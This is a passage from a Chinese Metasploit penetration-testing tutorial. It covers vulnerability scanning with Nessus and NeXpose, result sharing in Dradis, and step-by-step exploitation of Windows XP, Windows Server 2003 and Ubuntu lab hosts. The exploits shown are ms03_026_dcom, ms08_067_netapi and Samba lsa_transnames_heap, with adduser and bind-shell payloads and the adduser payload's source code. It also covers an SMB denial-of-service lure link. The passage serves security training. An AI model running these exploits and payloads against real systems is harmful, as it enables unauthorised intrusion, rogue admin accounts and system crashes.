使用 nessus_user_add 命令可以添加新用户。要查看服务器上可用的策略，可以使用nessus_policy_list命令。

怎样工作

建立与服务器的连接之后，使用Nessus对目标机器进行扫描。扫描过程简单而迅速，下面对目标机器进行实际的扫描，以便了解Nessus的扫描过程，使用如下命令。

msf > nessus_scan_new 1 testscan 192.168.56.102

[*] Creating scan from policy number 1, called "testscan" and scanning

192.168.56.102

[*] Scan started. uid is 9d337e9b-82c7-89a1-a194-

4ef154b82f624de2444e6ad18a1f

扫描过程结束后，下一步就是导入Nessus生成的列表。首先检查有哪些可用列表。

msf > nessus_report_list

[+] Nessus Report List

ID　Name　Status

----　------

9d337e9b-82c7-

89a1-a19-4ef154b82　testscan　completed

f624de2444e6ad18a1f

ID列表示的是扫描过程生成的结果报告，导入这一报告。

msf > nessus_report_get 9d337e9b-82c7-89a1-a1944ef154b82f624de2444e6ad18

a1f

[*] importing 9d337e9b-82c7-89a1-a1944ef154b82f624de2444e6ad18a1f

报告导入后，就可以使用控制台命令对其进行操作，并对其进行分析以判断目标中有哪些弱点和漏洞，要查看目标中存在的漏洞，可以使用如下命令。

msf> hosts –c address, vuls, os_name

更多

下面快速了解怎样在GUI模式下使用Nessus工作。

在Web浏览器中使用Nessus

Nessus也可以使用GUI模式工作，在此种模式下与在控制台中一样强大而易用。如果是初次使用Nessus，需要先在Nessus网站注册并获取注册码，参见如下链接。

http://www.nessus.org/register/

注册完成后，启动Nessus并添加注册码，找到Applications | BackTrack | Vulnerability Assessment | Network Assessment | Vulnerability Scanner | nessus start，启动Nessus，此时会产生如下的错误消息。

Starting Nessus : .

Missing plugins. Attempting a plugin update...

Your installation is missing plugins. Please register and try again.

To register, please visit http://www.nessus.org/register/

这一错误是因为Nessus尚未注册。若要进行注册，需要使用通过电子邮件从Nessus获取的注册码，使用下面的命令可用于完成注册过程。

/opt/nessus/bin/nessus-fetch –register YOUR REGISTRATIN CODE

root@bt:~# /opt/nessus/bin/nessus-fetch --register E8A5-5367-982E-05CB-972A

Your activation code has been registered properly - thank you.

Now fetching the newest plugin set from plugins.nessus.org...

Your Nessus installation is now up-to-date.

If auto_update is set to 'yes' in nessusd.conf, Nessus will

update the plugins by itself.

现在启动浏览器并输入下面的地址。

https://localhost:8834

如果是初次在浏览器中启动Nessus，可能需要一些时间，请耐心等候。

2.8 使用NeXpose进行扫描

在上节中介绍了作为漏洞扫描器的 Nessus ，本节将介绍另一个重要的漏洞扫描器NeXpose。

NeXpose是Rapid7提供的一款非常流行的工具，可用于执行漏洞扫描功能并将扫描结果导入到Metasploit数据库中。NeXpose的使用和前面刚讲过的Nessus类似，下面快速介绍NeXpose的启动和使用，更进一步的使用留给读者您去探索。

准备

要从msf控制台中启动NeXpose，需要首先建立数据库到Metasploi的连接，之后加载插件建立与NeXpose服务器之间的连接，然后再启动对目标机器的扫描过程，下面在命令行中执行这些操作。

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3

msf > load nexpose

msf > nexpose_connect darklord:toor@localhost ok

[*] Connecting to NeXpose instance at 127.0.0.1:3780 with username

darklord...

怎样实现

连接到服务器后，可以扫描目标机器并生成报告。NeXpose 支持两条扫描命令，一条是nexpose_scan，另一条是nexpose_discover。前者可以扫描某个IP地址段并导入结果，后者则只负责发现其上运行的主机和服务。下面使用NeXpose对目标进行快速扫描。

msf > nexpose_discover 192.168.56.102

[*] Scanning 1 addresses with template aggressive-discovery in sets of 32

[*] Completed the scan of 1 addresses

怎样工作

扫描完成后，可以使用msf控制台中默认的数据库命令查看结果。

首先看一下NeXpose生成了哪些结果。

msf > hosts -c address,os_name,os_flavor

Hosts

=====

address　os_name　os_flavor

-------　-------　---------

192.168.56.102 Microsoft Windows　XP

msf >

更多

收集到目标信息后，最后是导入结果，我们看一下怎样实现。

导入扫描结果

如果在msfconsole中使用过Nessus和NeXpose，可以跳过这些信息。

在使用Nessus或NeXpose的GUI版本时，需要手工将扫描结果导入到数据库。之所以反复讲到导入和存储扫描结果，是因为下一章将介绍如何使用 autopwn 命令对数据库中的主机自动化运行漏洞利用代码。要导入扫描结果，可以以 db_import filename 的格式使用db_import命令，如下面的具体示例。

msf > db_import nexposelist.xml

[*] Importing 'Nexpose XML (v2)' data

[*] Importing host 192.168.56.102

[*] Successfully imported /root/nexposelist.xml

2.9 使用Dradis框架共享扫描信息

在前面几节中，我们学习了获取目标相关信息的几种技术。实际执行渗透测试任务时，需要和其他场所的渗透测试人员共享一些信息，这种情况下，使用 Dradis 框架可以让渗透测试信息共享变得更加容易。Dradis是安全评估中用于信息共享的开源框架，该框架具备的一些功能特性使其成为优秀的信息共享工具，其中包括如下内容。

SSL通信支持。

文件与提示附件。

从Nessus、NeXpose等工具中导入扫描结果。

可以扩展并与漏洞数据库等外部系统连接。

尽管无助于获取目标的任何信息，但对所有安全专业人员而言，Dradis在共享渗透测试结果方面很重要。

准备

若要在BackTrack中启动Dradis框架，必须在终端中执行如下命令。

root@bt:~# cd /pentest/misc/dradis

root@bt:/pentest/misc/dradis# ./start.sh

命令成功执行后，可以通过如下地址在浏览器中启动Dradis框架。

https://127.0.0.1:3004

之后将提示建立Dradis框架中的口令和账号。

怎样实现

下面开始体验 Dradis 框架。利用该框架，可以为域和子域地址建立类树结构，从而使得目标网络结构更加清晰，有助于以更合理的逻辑结构存储信息。该框架还提供了一些功能，可以以系统化的方式生成目标网络相关信息的完整报告。

Dradis框架提供了 5个重要选项，即 add branch、import from fle、export、add note及note categories。

成功登录后，会出现类似上图的页面，在页面的左上角可以看到这些选项。下面介绍这些选项可以实现哪些功能。

怎样工作

从创建新报告开始，这一过程很简单，首先添加主机和子主机。

使用 add branch选项，可以添加新 IP地址或域名。添加顶级域名后，可以进一步地添加其子域名，接下来为其添加注释信息。

add note选项可用于添加从不同扫描结果中收集的信息。例如，可以添加来自Nmap、Nessus等漏洞扫描器的扫描结果。

note categories选项用于选择获取信息的媒介，包括 Brup scan、Nessus scan、NeXpose、Nmap等，可根据实际情况选择用于生成扫描结果的选项。

下图所示为使用Nmap对 192.168.56.1/24 IP地址段扫描的信息，左侧的树结构包括可用的目标，右侧的则是关于相应目标的报告。

Dradis框架的另一个功能是导入已有的报告或导出已创建的报告。

Import from file选项为从不同扫描器导入以前的扫描结果提供了便利，也进一步提高了框架的能力。因此不同的测试人员可以将多样化的扫描结果导入到框架中，并将其整合成为一个综合性的报告。

专业的渗透测试人员可以利用 export option选项生成关于域和子域的完整报告，导出报告可以是XML格式或HTML格式，也可以以项目或自定义模板的形式导出。

第3章 操作系统漏洞评估与利用

本章讲解下述内容：

● Exploit用法快速提示；

● 在Windows XP SP2上进行渗透测试；

● 绑定远程访问目标机器的shell；

● 在Windows 2003 Server上进行渗透测试；

● Windows 7/Server 2008 R2客户端无限循环漏洞；

● 对Linux（Ubuntu）机器进行攻击渗透；

● 理解Windows DLL注入漏洞。

3.1 介绍

上章着重介绍了对目标机器的信息收集，包括目标 IP 地址、开放端口、可用服务等各种类型信息，其中最重要的信息是与目标服务器或系统使用的操作系统相关的信息，这些信息有助于快速发现目标操作系统中存在的漏洞和相应的漏洞利用代码。当然，实际过程并非那么直接，但如果使用与操作系统相关的信息可以在很大程度上让这些任务变得更容易。

每种操作系统中都会存在各种bug，一旦这些bug被公布出去，就会产生针对这些bug的攻击代码。像Windows这样有版权的操作系统，会快速开发针对这些bug或漏洞的补丁，并为用户提供更新。漏洞披露是一个大问题，很多零日漏洞披露者给计算机产业带来了巨大的破坏。零日漏洞被各类人群所追捧，在一些地下交易市场也十分活跃，其价格可能在50000～100000美元。通常的情况下，漏洞研究人员发现并可以成功利用某些漏洞，但是否披露漏洞则取决于他们自己的意愿。

一些知名厂商，例如微软和 Adobe 公司会定期发布补丁，但是否采用则取决于用户自身。在公司中的情况更糟，从补丁发布到服务器打补丁需要数星期的时间，因为打补丁会涉及机器的宕机和重启，而企业对业务连续性又很高要求。因此，强烈建议及时更新补丁或对操作系统中最新发现的漏洞保持关注。未打补丁的操作系统对黑客而言是避风港（safe haven），因为黑客可以立即启动并攻击目标。所以，定期对操作系统进行打补丁和更新是很重要的。本章中我们将关注某些最流行操作系统中出现的漏洞。

在渗透测试过程中，收集和获取目标操作系统的相关信息后，测试人员便可以开始寻找针对特定操作系统漏洞的漏洞利用代码。因此，本章介绍的内容是利用操作系统漏洞对目标进行渗透的第一步。我们将关注某些应用最广泛的微软家庭版和企业版操作系统，以及某些Linux系统，并了解怎样使用漏洞利用代码及设置参数，以便其在目标机器上正确运行。最后，我们将讨论Metasploit中某些有用的攻击载荷。

3.2 Exploit用法快速提示

在对目标机器使用漏洞利用代码和攻击载荷之前，我们需要先了解一些相关的基本知识。理解漏洞利用代码的使用非常重要，这样才能解决参数错误配置时可能出现的错误。下面介绍有关漏洞利用代码使用和参数设置的一些基本知识。

准备

要对目标使用漏洞利用代码，首先扫描目标寻找开放端口和服务，获取目标相关的充分信息，然后有针对性地选择合适的漏洞利用代码。下面分析一些可以直接在 msfconsole中启动的漏洞利用代码使用命令。

怎样实现

下面列出了使用exploit时的一些常用命令。

msf > show exploits与msf > show payloads：这两条命令用于展示Metasploit目录中所有可用的漏洞利用代码和攻击载荷。

msf> search exploit：该命令用于搜索某个特定的漏洞利用代码，也可以使用该命令搜索任意特定的搜索项。该命令按如下方式进行传递。

msf > search exploit-name or search-term

例如下面的命令示例。

msf > search ms03_026_dcom

Matching Modules

================

Name　Disclosure Date　Rank

Description

----　----------------　---　-----------

exploit/windows/

dcerpc/ms03_026_dcom 2003-07-16　great　Microsoft RPC DCOM

msf > use exploit：该命令用于将任意 exploit设置为活跃状态或待用状态，该命令按如下方式进行传递。

msf > use exploit name

执行该命令后，命令行提示符将切换为exploit类型。

msf > use exploit/windows/dcerpc/ms03_026_dcom

msf　exploit(ms03_026_dcom) >

show options：该命令用于查看当前使用的exploit的可用选项或参数，各种参数包括主机IP地址、线程等，其中标记为yes的参数必须设置相应值以便有效执行该漏洞利用代码。

msf　exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

Name　Current Setting　Required　Description

----　---------------　--------　-----------

RHOST　yes　The　target　address

RPORT　135　yes　The　target　port

set：该命令用于为当前使用的 exploit中的某个参数设置具体值，例如为某个特定漏洞利用代码设置具体的攻击载荷。该命令按如下方式传递。

msf > set parameter-name parameter-value

类似地，也可以使用unset命令取消对某个参数值的设置。

msf　exploit(ms03_026_dcom) > set RHOST 102.168.56.102

RHOST => 102.168.56.102

msf　exploit(ms03_026_dcom) >

还有两条可选的命令：setg命令和unsetg命令，用于在msfconsole中设置全局性的参数值，从而减少相同值的输入工作。

show targets：每个 exploit都设计用于攻击某种目标服务，本命令用于展示该 exploit有哪些可用的攻击目标。

msf　exploit(ms03_026_dcom) > show targets

Exploit targets:

　Id　Name

　--　----

　0　Windows NT SP3-6a/2000/XP/2003 Universal

从结果可以看出，漏洞利用代码dcom可对多种Windows机器进行攻击。

怎样工作

在第1章曾经讲过，整个Metasploit框架采用的是模块化体系结构，不同的漏洞利用代码都转换为框架中定义的模块，并按照框架中的规范运作。用户可以使用不同的命令加载和使用模块，通过 msfconsole 提供的命令行接口，可以很容易地访问不同的模块并开展渗透测试。

3.3 在Windows XP SP2上进行渗透测试

本节中我们将介绍如何使用Metasploit攻陷运行着Windows XP操作系统的目标机器，其中需要使用前面章节中讲到的一些命令，进一步选择漏洞利用代码和攻击载荷，并设置各种必需的参数。

准备

首先在msfconsole中进行渗透测试过程。启动控制台，扫描端口搜集目标机器的信息，前面已经详细讨论过端口扫描的相关内容，这里假设已搜集到目标机器的信息，并确定其运行的是Windows XP操作系统，接下来选择漏洞利用代码和攻击载荷。

怎样实现

若要在Windows XP SP2上进行渗透测试，需遵循如下步骤。

（1）主要目标是选择可用于 Windows XP 的漏洞利用代码，用户可以浏览/exploits/ window目录，或简单地搜索有哪些可用于Windows XP的漏洞利用代码。我们将使用RPC dcom漏洞对目标进行渗透，所以先对RPC dcom漏洞进行搜索，可使用如下命令。

msf exploit(ms03_026_dcom) > search dcom

Matching Modules

================

Name　Disclosure　Date　Rank　Description

----　---------------　---　-----------

exploit/windows

dcerpc/ms03_026_dcom　2003-07-16　great　Microsoft　RPC

xploit/windows/

driver/

broadcom_wifi_ssid　2006-11-11　low　Broadcom Wireless

xploit/windows/

smb/ms04_031_netdde　2004-10-12　good　Microsoft NetDDE

从结果可以看到，共搜索到3个相关的结果。选择使用第一个，因为该漏洞利用代码的评级为great，预示着使用该漏洞利用代码成功的几率更大。

（2）为将exploit/windows/dcerpc/ms03_026_dcom设置为可用的漏洞利用代码，可执行如下命令。

msf　exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom

msf　exploit(ms03_026_dcom) >

命令行提示符的改变表明该命令已经运行成功。

（3）下一步为该漏洞利用代码设置必要的参数，show options命令可以列出该漏洞利用代码的可用参数，之后使用set命令即可对参数进行设置，其中一些参数会有默认值。

msf　exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

Name　Current Setting　Required　Description

----　---------------　--------　-----------

RHOST　yes　The target address

RPORT　135　yes　The target port

Exploit target:

Id　Name

--　----

0　Windows NT SP3-6a/2000/XP/2003 Universal

这里，RHOST用于指定远程目标主机的IP地址，RPORT用于指定默认的绑定端口。默认情况下，RPORT的值设置为135端口，我们需要将RHOST设置为实际的目标主机IP地址。

msf　exploit(ms03_026_dcom) > set RHOST 192.168.56.102

RHOST => 192.168.56.102

msf　exploit(ms03_026_dcom) >

注意ms03_026_dcom漏洞利用代码的ID设置为0，这意味着不需要指定目标上运行的具体Windows类型，本漏洞利用代码适用于该项目列出的所有 Windows 版本。其他的漏洞利用代码一般都需要使用 show targets命令来选择目标操作系统。

目前，RHOST的值已经被设置为目标IP地址，如果此时运行漏洞利用代码，会产生错误消息，因为还没有为该漏洞利用代码选择攻击载荷。

（4）下一步选择合适的攻击载荷，可以使用命令 show payloads列出所有可用的攻击载荷。这里选择使用简单的windows/adduser攻击载荷，其功能是在目标机器操作系统中添加新用户。

msf　exploit(ms03_026_dcom) > set PAYLOAD windows/adduser

PAYLOAD => windows/adduser

（5）再次运行 show options命令，将列出漏洞利用代码与攻击载荷的所有参数。攻击载荷参数形式如下所示。

Payload options (windows/adduser):

Name　Current　Setting　Required　Description

----　---------------　--------　-----------

EXITFUNC thread　yes　seh, thread, process,

none

PASS　metasploit　yes　password for this user

USER　metasploit　yes　The username to create

从结果可以看到，添加到目标操作系统中的缺省用户名和口令都是metasploit，如果要更改这些值，可以使用 set PASS命令和 set USER命令。

（6）攻击载荷已经设置完成，下面可以对目标机器进行渗透，使用下面的命令运行该漏洞利用代码。

msf　exploit(ms03_026_dcom) > exploit

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_

tcp:192.168.56.102[135] ...

[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_

tcp:192.168.56.102[135] ...

[*] Sending exploit ...

[*] Exploit completed, but no session was created.

最后一行输出表明，漏洞利用代码在目标机器上已经成功运行完毕，并在其上添加了新用户。还可以看出，并没有创建新的会话，这是因为选用的攻击载荷是一个简单的adduser，该攻击载荷不需要活跃会话，因此，该漏洞利用代码运行后，与目标机器的连接即告终止。下一节将介绍如何使用攻击载荷建立会话。

怎样工作

在处理TCP/IP消息交换的RPC协议中存在漏洞，漏洞的成因是对畸形消息的处理存在错误，该漏洞影响分布式组件对象模型（DCOM）接口（该接口在激活了RPC的端口上进行监听），所以，需要在目标机器上存在运行RPC服务的可用端口。

该接口用于处理客户端向服务器发送的DCOM对象激活请求，成功利用该漏洞后，攻击者可在受影响系统上以本地系统权限运行任意代码，并在目标机器上执行某些操作，例如安装程序、查看/修改/删除数据，或创建高权限的用户账号。

要了解该漏洞的更多细节，可以参考如下的微软安全公告链接。

http://technet.microsoft.com/en-us/security/bulletin/ms03-026

为了理解 adduser 攻击载荷的工作机理，需要对该载荷的 ruby 代码进行分析，并找到如下位置。

root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/windows

root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# less adduser.rb

观察下面的代码。

# Register command execution options

　register_options(

　　[

　　　 OptString.new('USER', [ true, "The

　　　 username to create", "metasploit" ]),

　　　 OptString.new('PASS', [ true, "The

　　　 password for this user", "metasploit" ]),

　　　 ], self.class)

　　 # Hide the CMD option

　　deregister_options('CMD')

　end

　#

　 # Override the exec command string

　#

　 def command_string

　　 user = datastore['USER'] || 'metasploit'

　　 pass = datastore['PASS'] || ''

　　 if(pass.length > 14)

　　　 raise ArgumentError, "Password for the adduser payload must be 14 characters or less"

　　end

　　 return "cmd.exe /c net user #{user} #{pass} /ADD && "

　　+

　　　 "net localgroup Administrators #{user} /ADD"

　　end

读者可以通过阅读#符号注释后面的介绍以理解代码的功能，上面的代码是简单。首先为用户名和口令注册相应值，然后隐藏CMD函数，以便在攻击载荷执行时不会出现在屏幕上，之后覆盖 windows/exec 载荷，传递参数值，并启动隐秘的命令提示符在后台执行相应命令。

读者可以根据需要对这段代码进行修改，这将有助于对攻击载荷的深入理解。

3.4 绑定远程访问目标机器的shell

在前面内容中，分析了怎样对Windows SP2进行攻击渗透，并在其上添加新的用户账号，但是在执行该漏洞利用代码之后，连接也终止了。在本节中，将实现向目标机器绑定shell，以便建立与目标机器的远程连接并对其进行远程控制。工作过程和前面讲过的类似，使用不同的攻击载荷，执行后将在目标机器上打开远程连接shell。

准备

从启动msfconsole开始，目标与在Windows XP SP2上进行渗透测试的目标相同，使用的漏洞同样也是dcom漏洞，区别是使用不同的攻击载荷，本次选用的攻击载荷可以生成绑定到目标主机的shell。

怎样实现

若要向目标主机绑定shell，需要执行如下几个步骤。

（1）针对目标机器，选择dcom漏洞利用代码，设置不同的参数，然后选择攻击载荷。

msf > use exploit/windows/dcerpc/ms03_026_dcom

msf　exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

Name　Current Setting　Required　Description

----　---------------　--------　-----------

RHOST　yes　The target address

RPORT　135　yes　The target port

Exploit target:

Id　Name

--　----

0　Windows NT SP3-6a/2000/XP/2003 Universal

msf　exploit(ms03_026_dcom) > set RHOST 192.168.56.102

RHOST => 192.168.56.102

（2）漏洞利用代码相关参数设置完成后，接下来就是攻击载荷。使用 show payloads命令可以列出所有可用的攻击载荷。选择windows/shell/bind_tcp，该攻击载荷将在目标机器的4444端口（默认情况）打开TCP连接，并向攻击者提供命令shell。

msf　exploit(ms03_026_dcom) > set PAYLOAD windows/shell/bind_tcp

PAYLOAD => windows/shell/bind_tcp

（3）使用 show options命令，并设置其他相关参数，例如RHOST。还可以修改缺省的端口号，参数设置完成后，便可以执行该漏洞利用代码。下面展示的是代码执行后的输出情况。

msf exploit(ms03_026_dcom) > exploit

[*] Started reverse handler on 192.168.56.101:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack2- lang:English

[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.56.102

[*] Command shell session 1 opened (192.168.56.101:4444 ->

192.168.56.102:1052) at 2011-10-31 01:55:42 +0530

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

从以上信息可以看出，漏洞利用代码成功执行，新的命令行提示符已经在 msfconsole中启动，攻击者可以利用这一新的会话远程获取对目标机器的完全访问权限。如果需要退出该会话，可以使用exit命令。

读者现在可能已经认识到 Metasploit 中攻击载荷的强大，为更好地理解其攻击载荷的功能，强烈建议读者对其进行更多的尝试。

怎样工作

Dcom 漏洞利用代码的工作原理和前面讲过的是相同的。bind_tcp 的工作过程涉及后面章节将要介绍的一些概念，以便对其工作过程有更好的理解。读者也可以查阅该攻击载荷的 ruby 代码，见/pentest/exploits/framework3/modules/payloads/stagers/windows/bind_tcp.rb。

更多

接下来要学习怎样通过shell对目标主机进行控制。

实现对目标的完全控制

建立与目标机器的shell连接，然后使用命令行提示符对目标机器进行完整的访问和控制。可使用一些常用的DOS命令对目标机器进行探索，包括目录列表、文件与文件夹复制、创建用户代理等一些基本操作。

3.5 在Windows 2003 Server上进行渗透测试

在上一节中，我们介绍了怎样使用 dcom漏洞利用代码，引发 Windows目标机器的缓冲区溢出，并成功实现对其进行攻击渗透。本节将介绍一个类似但又不完全相同的环境， Windows 2003 Server是微软应用最广泛的企业级操作系统之一，本节将介绍怎样对其进行攻击渗透，由于打了补丁的Windows 2003 Server中已经不存在dcom漏洞，所以本节中将尝试使用其他漏洞，即netapi32.dll漏洞。首先分析该漏洞的工作过程，然后分析该漏洞成因。

准备

首先启动msfconsole，并对目标进行快速扫描。建议读者执行渗透测试时采用标准的步骤，以便增强理解和掌握。下面的内容和前两节讲述的是相同的，差别在于使用的漏洞利用代码不同。

怎样实现

若要在Windows 2003 Server上执行渗透测试，遵循如下步骤。

（1）首先搜索netapi，列出Metasploit框架中所有与netapi相关的漏洞利用代码。

msf > search netapi

Matching Modules

================

Name　Disclosure　Date　Rank

----　---------------　----

exploit/windows/smb/ms03_049_netapi　2003-11-11　good

exploit/windows/smb/ms06_040_netapi　2006-08-08　good

exploit/windows/smb/ms06_070_wkssvc　2006-11-14　manual

exploit/windows/smb/ms08_067_netapi　2008-10-28　great

从结果可以看到，列出的4个结果中，最后一个漏洞利用代码的评级为great，所以优先使用该漏洞利用代码。

（2）将RHOST设置为Windows 2003 Server目标机器。

msf > use exploit/windows/smb/ms08_067_netapi

msf　exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name　Current Setting Required Description

----　---------------　--------　-----------

RHOST　yes　The target address

RPORT　445　yes　Set the SMB service port

SMBPIPE BROWSER　yes　The pipe name to use

(BROWSER, SRVSVC)

Exploit target:

Id　Name

--　----

0　Automatic Targeting

msf　exploit(ms08_067_netapi) > set RHOST 192.168.56.102

RHOST => 192.168.56.102

Id值为0的含义是不需要指定目标操作系统。

（3）完成漏洞利用代码加载后，设置攻击载荷。这里仍然设置 tcp_bind 攻击载荷，以便获取目标机器的shell，如前面所讨论的。

msf　exploit(ms08_067_netapi) > set payload

windows/shell/bind_tcp

payload => windows/shell/bind_tcp

msf　exploit(ms08_067_netapi) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

漏洞利用代码和攻击载荷都已经设置完毕，最后使用exploit命令并分析该命令的执行结果。

msf　exploit(ms08_067_netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows 2003 SERVER - Service Pack2- lang:English

[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.56.102

[*] Command shell session 1 opened (192.168.56.101:43408 ->

192.168.56.102:4444) at 2011-11-02 21:25:30 +0530

C:\WINDOWS\system32>

从结果可以看到攻击成功，并建立了到目标主机的shell连接，可以通过命令行访问目标机器。Metasploit在进行渗透攻击测试方面功能强大，在相当大的程度上简化了任务的难度。下面快速浏览本节中漏洞利用代码的工作原理。

怎样工作

该模块利用了Server服务中的漏洞，即netapi32.dll执行路径连接代码中的分析漏洞，在某些操作系统和服务包中，该漏洞可以绕过NX特性。可用于防止Server服务（以及同一进程中的其他服务）崩溃。

3.6 Windows 7/Server 2008 R2 SMB客户端无限循环漏洞

针对Windows 7和Windows Server 2008的漏洞利用代码非常少，SMB客户端无限循环漏洞是其中的一项，可以导致目标系统崩溃。该漏洞不会产生会话或shell连接，但也仍然值得讨论。在第 3.8节中，将对Windows 7中的DLL注入漏洞进行分析。

Windows Server 2008 R2与Windows 7中的SMB客户端中存在漏洞，间接攻击者和远程SMB 服务器可以利用SMBv1 或SMBv2 响应数据包产生拒绝服务（无限循环和系统挂起）。该数据包的NetBIOS头部或末端长度字段中包含有不正确的长度值，是导致该漏洞的主要原因。

准备

Metasploit中包含有辅助模块auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop，可用于对SMB服务器进行攻击渗透，并导致拒绝服务，其攻击方法是将UNC路径传递给web页面，并诱使目标用户执行，用户打开共享文件之后，目标系统将完全崩溃，只能重启恢复。

怎样实现

要使用该辅助模块，需要使用use命令，并以该模块路径为参数，然后设置必需的参数并执行该模块，可执行如下步骤。

msf > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop

msf　auxiliary(ms10_006_negotiate_response_loop) > show options

Module options (auxiliary/dos/windows/smb/ms10_006_negotiate_response_

loop):

Name　Current Setting Required Description

----　---------------　--------　-----------

SRVHOST　0.0.0.0　yes　The local host..

SRVPORT　445　yes　The SMB port to listen

SSL　false　no　Negotiate SSL..

SSLCert　no　Path to a custom SSL

SSLVersion SSL3　no　Specify the version..

快速设置各种参数，实际上唯一需要更改的参数是SRVHOST，该参数需要设置为渗透攻击人员所用机器的IP地址。

msf　auxiliary(ms10_006_negotiate_response_loop) > set SRVHOST

192.168.56.101

SRVHOST => 192.168.56.101

怎样工作

使用run命令执行该辅助模块，该模块执行后，会生成一个共享文件夹链接并发送给目标用户，本示例中生成的链接为\\192.168.56.101\Shared\Anything。

msf　auxiliary(ms10_006_negotiate_response_loop) > run

[*] Starting the malicious SMB service...

[*] To trigger, the vulnerable client should try to access:

\\192.168.56.101\Shared\Anything

[*] Server started.

还可以伪造一个网页，将其附加到该链接中使其看起来不那么可疑，之后将其发送给目标用户。目标用户点击该链接之后，目标系统将彻底死机，导致完全的拒绝服务，只有重启才能恢复正常。

3.7 对Linux（Ubuntu）机器进行攻击渗透

Linux是继Windows之后应用广泛的操作系统之一，在前面几节中，我们介绍了怎样通过可用服务中的漏洞对Windows机器进行渗透，本节将关注Linux操作系统漏洞，示例针对的是Ubuntu 9，工作过程和任何其他运行Samba服务的Linux、Solaris操作系统一样。

准备

首先对Linux目标机器进行扫描，收集可用服务信息。使用Nmap进行快速扫描并分析其结果。

msf > nmap -sT 192.168.56.101

[*] exec: nmap 192.168.56.101

Starting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST

Warning: Traceroute does not support idle or connect scan, disabling...

Nmap scan report for 192.168.56.101

Host is up (0.00048s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)

|_html-title: Index of /

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

No exact OS matches for host (If you know what OS is running on it, see

http://nmap.org/submit/ )

收集到目标相关的信息后，为其选择漏洞利用代码和合适的攻击载荷。

怎样实现

对Linux机器的渗透过程与Windows类似，采用如下步骤。

（1）主要任务是选择正确的漏洞利用代码和攻击载荷，可以在Metasploit目录中搜索可用的Samba漏洞利用代码。

msf > search Samba

（2）该命令将返回各种有关 Samba 的辅助模块和漏洞利用代码模块列表，选择使用的是评级为good的exploit/linux/samba/lsa_transnames_heap漏洞利用代码模块，因为该模块对目标攻击渗透的成功率较高。下面的命令将该模块设置为活跃状态，并设置必要的参数。

msf > use exploit/linux/samba/lsa_transnames_heap

msf exploit(lsa_transnames_heap) > show options

Module options (exploit/linux/samba/lsa_transnames_heap):

Name　Current Setting Required Description

----　---------------　--------　-----------

RHOST　yes　The target address

RPORT　445　yes　Set the SMB service port

SMBPIPE　LSARPC　yes　The pipe name to use

Exploit target:

Id　Name

--　----

0　Linux vsyscall

msf　exploit(lsa_transnames_heap) > set RHOST 192.168.56.101

RHOST => 192.168.56.101

msf exploit(lsa_transnames_heap) >

（3）接下来选择合适的攻击载荷，要记住的是，我们的目标是Linux机器，因此必须选择Linux攻击载荷。选择使用的是 linux/x86/shell_bind_tcp payload，其工作原理与前面分析过的Windows攻击载荷bind_tcp类似。

msf　exploit(lsa_transnames_heap) > set payload linux/x86/shell_

bind_tcp

payload => linux/x86/shell_bind_tcp

msf　exploit(lsa_transnames_heap) > show options

Module options (exploit/linux/samba/lsa_transnames_heap):

Name　Current Setting Required Description

----　---------------　--------　-----------

RHOST 192.168.56.101　yes　The target address

RPORT　445　yes　Set the SMB service port

SMBPIPE　LSARPC　yes　The pipe name to use

Payload options (linux/x86/shell_bind_tcp):

Name　Current Setting Required Description

----　---------------　--------　-----------

LPORT　4444　yes　The listen port

RHOST 192.168.56.101 no　The target address

（4）各种选项已设置完毕，最后使用exploit命令进行攻击渗透过程。

msf exploit(lsa_transnames_heap) > exploit

[*] Started bind handler

[*] Creating nop sled....

[*] Trying to exploit Samba with address 0xffffe410...

[*] Connecting to the SMB service...

漏洞利用代码成功执行后，将建立攻击方机器到目标方机器的shell连接，这一过程与前面章节中讨论的过程非常类似，唯一的差别在于选择的漏洞利用代码和攻击载荷不同。尝试的漏洞利用代码和攻击载荷的组合越多，对这些概念的理解就会越好。

怎样工作

下面对 Samba 服务及其工作机理、漏洞利用原理进行一个快速介绍。Samba 用于在Linux和Windows机器之间进行打印和文件共享。本漏洞利用模块激发Samba守护进程的LSA RPC服务中的堆溢出漏洞，并使用 talloc chunk重写方法（credit Ramon and Adriano），该方法只适用在 Samba 3.0.21-3.0.24版本。该漏洞利用代码利用了堆中动态内存分配的优势。第一次利用该漏洞时会出现失败的情况，因此可以多次尝试。

更多

下面介绍其他一些与Linux操作系统相关的漏洞利用模块。

其他与Linux相关的漏洞利用模块

除了本节讨论的漏洞利用模块之外，还有两个模块值得注意。强烈建议读者尝试这两个漏洞利用模块以便加深理解。

